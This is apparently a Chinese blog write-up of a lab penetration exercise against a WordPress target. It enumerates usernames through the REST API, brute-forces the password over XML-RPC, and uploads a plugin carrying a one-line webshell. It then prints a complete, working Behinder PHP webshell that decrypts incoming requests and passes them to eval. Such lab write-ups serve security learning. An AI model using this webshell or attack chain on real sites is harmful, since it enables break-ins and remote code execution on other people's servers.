WordPress - "花咲雨町"漏洞复现

WordPress - “花咲雨町”

之前打线下有个渗透就是WordPress某个主题的一个漏洞,这次来学习一下这个的

我是完全对着sibei师傅的来的,靶场来自极核-getshell,很好的一个网站有很多资源

1
https://get-shell.com/

首先是WordPress的一个程序的漏洞,先想办法获取登录信息,在WordPress上有一个REST API,以获取到当前WordPress的真实用户名

1
http://node.hackhub.get-shell.com:64738/wp-json/wp/v2/users

image-20250119204843326

1
[{"id":2,"name":"\u7cf8\u5317","url":"","description":"\u6253\u7834\u4e00\u5207.","link":"http:\/\/192.168.74.11\/author\/2","slug":"webadmin","avatar_urls":{"24":"https:\/\/secure.gravatar.com\/avatar\/7932a5605eef1797bf6cbba8d576526e?s=24&d=mm&r=g","48":"https:\/\/secure.gravatar.com\/avatar\/7932a5605eef1797bf6cbba8d576526e?s=48&d=mm&r=g","96":"https:\/\/secure.gravatar.com\/avatar\/7932a5605eef1797bf6cbba8d576526e?s=96&d=mm&r=g"},"meta":[],"_links":{"self":[{"href":"http:\/\/192.168.74.11\/wp-json\/wp\/v2\/users\/2","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/192.168.74.11\/wp-json\/wp\/v2\/users"}]}}]

得到一串这个slug的值就是当前web站点的真实登录的用户名也就是webadmin

有了用户名下面我们接着找爆破的地方

WordPress 的 xmlrpc.php 文件是一个用于处理外部请求的接口,允许通过 XML-RPC 协议与 WordPress 网站进行通信,允许外部应用程序与 WordPress 进行交互,如发布文章、管理评论、获取统计数据、登录请求等。

Tips:在默认情况下,一些主题会禁用 xmlrpc.php这个功能文件(不用这个东西的话可以直接删除这个文件以提升安全性,不影响WordPress的使用),包括本靶机默认情况下也是禁用的,但是为了流程就开起来了。不过在很多的WordPress站点上,这个功能并没有关闭,依然可以利用。

我们尝试访问一下试试

1
/xmlrpc.php

只允许POST请求

image-20250119205459899

查询当前可以用的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /xmlrpc.php HTTP/1.1
Host: node.hackhub.get-shell.com:64738
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9
Cookie: PHPSESSID=mu311op1a8stoiprqrp1td1geh; showed_system_notice=showed; fps_accelerat=116

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

可以看到响应有很多方法可以用

image-20250119210644098

这里我们用

1
wp.getUserBlogs

数据包如下

1
2
3
4
5
6
7
8
9
10
11
12
POST /xmlrpc.php HTTP/1.1
Host: node.hackhub.get-shell.com:64738
Connection: keep-alive
Content-Length: 170

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>

image-20250119213908151

可以看到响应,已知用户名是webadmin,开始爆破

可以看见这里已经提示我们成功了

image-20250119214232138

用户名:webadmin

密码:admin123

成功登录

image-20250119214345279

下面上传后门

一般来说,进入后WordPress后台只需要使用 插件 -> 插件文件编辑器 或者 外观 -> 主题文件编辑器 ,就可以直接编辑主题 / 插件的PHP代码,从而实现插入后门。

来这里随便下个插件

1
https://cn.wordpress.org/plugins/

准备一个一句话木马,塞到下载的插件文件里

image-20250119214558096

点击后台管理,插件,安装新插件,上传插件,立即安装

image-20250119220319215

image-20250119220400884

一般来说,WordPress的插件目录在 /wp-content/plugins/

我这个在print-my-blog/shell.php这个目录下,启用试试能不能获得shell

完整目录

1
http://node.hackhub.get-shell.com:52581/wp-content/plugins/print-my-blog/shell.php

image-20250119220558502

尝试了一下一些命令都无法执行,cmd=phpinfo();可以执行看到了很多函数都被禁用了

image-20250120093635723

掏出我上次的冰蝎webshell试试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@error_reporting(0);
session_start();
$key="dfff0a7fa1a55c8c";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

把之前的插件删掉,从新准备webshell再次上传试试

成功连接

image-20250120094056789